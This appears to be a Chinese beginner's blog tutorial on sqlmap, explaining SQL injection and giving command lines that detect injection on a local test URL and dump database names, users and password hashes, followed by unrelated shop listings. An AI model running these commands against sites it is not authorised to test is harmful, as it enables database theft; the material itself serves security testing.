最近小编在测试网站的安全性,所以调研了很多渗透服务器的工具,今天给大家详情一下sql注入的工具,来让少量小白也可以体验到攻破服务器的快感,进行少量安全方面的测试。
之前的文章已经给大家讲解过xss工具的使用,今天主要详情一个sql注入工具,sqlmap,也是一款神器。
首先给大家普及一下sql注入是什么:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后端数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者用意去执行SQL语句。[1] 比方先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
这就是sql注入了,假如网站有这方面的问题,一般都比较严重,基本你的数据库就完蛋了,所有数据都被盗走。
现在中国的大部分互联网公司,在研发过程中都是请不起专门的安全测试人员的,很多都是让普通的测试肉测,肉测的话其实很考验测试人员构造sql的能力,所以今天的这款工具,来帮助大家完成sql注入的安全测试。
大家可以直接去git 上下载一个安装包 https://github.com/sqlmapproject/sqlmap
但是git上面更推荐用源码方式,
1、首先还是先创立虚拟环境,养成好习惯,不要污染系统:
conda create -n sqlmap python=2.7
注意只支持py2
2、下载源码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
源码下载以后就不用安装了,直接 cd sqlmap-dev 即可以看见里面有
其中里面的sqlmap.py 就主程序员文件了,到此就安装完了,很简单!
1、通过python sqlmap.py -h 可以查看所有的参数帮助信息:
支持的功能很多,这里筛选少量主要的讲一下。
2、对一个url进行sql注入,小编就不拿自己的网站了,爆出个漏洞多丢人,搭个本地的吧。
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch
里面会自动检测你数据库的版本,很 准!即便没有漏洞也可以挖到很多网站的内部信息。
3、暴库,可以对一个url链接进行暴库,加上--dbs参数。
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --dbs
看见没有,可以把你的数据库名字爆出来,多猛!
4、查看当前库,加上--current-db参数。
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-db
5、查看数据库的使用客户以及密码,基本就是盗号了,盗数据库的号,加-current-user和--passwords:
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --current-user
python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --passwords
6、除了这些还可以爆出数据库的所有数据库字段,所有数据库表,所有数据库。
基本你的数据库就被人端了!!哈哈,快测测自己的网站吧。
就详情到这里啦!欢迎关注小编,后续有更多的小白工具哦。
码子不易!!欢迎关注博客。
禁止转载,现在盗版太严重,无语了。
荒岛机器人系列 套装2册 机器人的逃跑计划 英文原版 The Wild Robot Peter Brown【中商原版】
泌尿外科腹腔镜与机器人手术学(第2版)张旭 西医 9787117212250
儿童插图世界地图集 英文原版 Children's Illustrated World Atlas DK系列 英文版 进口英语原版书籍 可搭机器人百科 科学的意义
吉竹伸介这是苹果吗也许是吧系列全套4册 好无聊啊好无聊+后来呢后来怎了+做个机器人假装是我吉竹伸介绘本想象力幽默绘本图画故事
2021全新单手机版金融理财配资网站系统源码
【官方旗舰店】 深度学习入门 基于Python的理论与实现 赠源代码鱼书Python深度学习神经网络编程chatgpt机器学习实战人工智能入门